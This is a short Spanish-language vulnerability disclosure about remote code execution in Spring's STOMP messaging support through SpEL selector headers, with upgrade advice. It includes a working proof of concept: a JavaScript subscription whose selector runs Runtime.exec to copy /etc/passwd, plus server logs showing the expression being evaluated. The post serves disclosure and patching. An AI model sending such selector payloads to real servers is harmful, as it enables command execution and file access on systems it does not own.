
RCE en el protocolo STOMP de mensajería de Spring
Ayer Spring publicó una vulnerabilidad RCE, conózcala:
Versiones afectadas
Esta vulnerabilidad no requiere entorno específico. Si está usando spring-messaging + websocket + STOMP, actualice a la última versión lo antes posible; si usa SpringBoot, actualice a 2.0.1.RELEASE.
En pocas palabras, debido a que StandardEvaluationContext tiene demasiados permisos, puede ejecutar expresiones SpEL arbitrarias, por lo que oficialmente después de Spring 5.0.5 se agregó SimpleEvaluationContext para implementar un enlace de datos simple, manteniendo la flexibilidad sin riesgos de seguridad.
spring-messaging proporciona soporte para el protocolo STOMP, permitiendo a los clientes suscribirse a mensajes y usar un selector para filtrarlos, p. ej.
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
stompClient.subscribe('/topic/greetings', function() {}, {
"selector": selector
})
});
Cuando se suscribe, Spring almacena este filtro y se activa cuando el cliente recibe un mensaje, p. ej.
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]
...
2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean
Captura de pantalla del PoC

El artículo de análisis detallado de la vulnerabilidad se publicará más tarde.
Compile e inicie el servidor Spring Boot,
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar
Acceda e ingrese la expresión para probar,
http://localhost:8080
